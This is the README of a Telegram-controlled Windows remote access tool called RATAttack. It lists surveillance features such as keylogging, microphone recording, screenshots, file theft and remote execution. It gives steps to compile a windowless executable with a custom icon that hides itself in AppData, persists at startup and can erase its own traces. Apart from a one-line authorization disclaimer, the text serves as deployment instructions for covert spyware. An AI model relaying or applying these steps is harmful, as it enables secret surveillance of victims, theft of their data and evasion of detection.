Windows Remote Administration Tool via Telegram (Python 2.7) | Originally created by Ritiek
-
The current Remote Administration Tools in the market face 2 major problems:
- Lack of encryption.
- Require port forwarding in order to control from hundreds of miles.
-
This RAT overcomes both these issues by using the Telegram bot API.
- Fully encrypted. The data being exchanged cannot be spied upon using MITM tools.
- Telegram messenger app provides a simple way to communicate to the target without configuring port forward before hand on the target.
- Display ARP table (Thanks Dviros!)
- Run keylogger
- Get target PC's Windows version, processor and more ()
- Get target PC's IP address information and approximate location on map
- Delete files or folder
- Show current directory
- Change current directory
- List current or specified directory
- Download any file from the target
- Upload local files to the target. Send your image, pdf, exe or anything as
file
to the Telegram bot - Autostart playing a video in fullscreen and no controls for a youtube video on target
- Take Screenshots
- Execute any file
- Access to microphone
- Start HTTP Proxy Server
- Freeze target's keyboard
- [WIP] Schedule tasks to run at specified time
- [WIP] Freeze target's mouse
- [WIP] Get active processes and services
- [WIP] Capture clipboard (Text, Image)
- [WIP] Hide desktop icons
- [WIP] Update .exe
- [WIP] Shutdown computer
- [WIP] Self-Destruct RAT
- [WIP] Take snapshots from the webcam (if attached)
- [WIP] Copy and Move files
- [WIP] Audio compression
- More coming soon!
- Clone this repository.
- Set up a new Telegram bot talking to the
BotFather
. - Copy this token and replace it in the beginning of the script.
- Install the dependencies:
pip install -r requirements.txt
. - Install pyHook
64-bit
or32-bit
depending on your system.- For 64-bit-
pip install pyHook-1.5.1-cp27-cp27m-win_amd64.whl
. - For 32-bit-
pip install pyHook-1.5.1-cp27-cp27m-win32.whl
.
- For 64-bit-
- To run the script:
python RATAttack.py
. - Find your bot on telegram and send some command to the bot to test it.
- To restrict the bot so that it responds only to you, note down your
chat_id
from the console and replace it in the script and comment out the linereturn True
. Don't worry, you'll know when you read the comments in the script.
When using the below commands; use /
as a prefix. For example: /pc_info
.
arp - display arp table
capture_pc - screenshot PC
cd - change current directory
delete - delete a file/folder
download - download file from target
freeze_keyboard - enable keyboard freeze
unfreeze_keyboard - disable keyboard freeze
hear - record microphone
ip_info - via ipinfo.io
keylogs - get keylogs
ls - list contents of current or specified directory
msg_box - display message box with text
pc_info - PC information
play - plays a youtube video
proxy - opens a proxy server
pwd - show current directory
run - run a file
self_destruct - destroy all traces
to - select targets by it's name
You can copy the above to update your command list via BotFather
so you don't have to type them manually.
Replace your path in compileAndRun.bat (running this will actually run the executable)
Run `pyinstaller --onefile --noconsole C:\path\to\RATAttack.py`. You can also pass `--icon=<path\to\icon.ico>` to use any custom icon.
- Once it is compiled successfully, find the
.exe
file inC:\Python27\Scripts\dist\
. You can change the name of the.exe
to anything you wish. - BEWARE! If you run the compiled
.exe
, the script will hide itself and infect your PC to run at startup. You can return to normal by using the/self_destruct
option or manually removingC:\Users\Username\AppData\Roaming\Portal
directory andC:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\portal.lnk
(although I recommend removing them manually for the time being).
- You can also modify the name of hidden
.exe
file and location & name of the folder where the hidden.exe
will hide itself. To do this; modifycompiled_name
andhide_folder
respectively. - Assign your known chat ids to beginning of RATAttack.py
- Currently only Python2 is supported. Python3 support will be added soon!
- This project is still in very early stages, so you can expect some bugs. Please feel free to report them! Even better, send a pull request :)
- Any new features and ideas are most welcome! Please do submit feature requests by creating Issues
This tool is supposed to be used only on authorized systems. Any unauthorized use of this tool without explicit permission is illegal.
The MIT License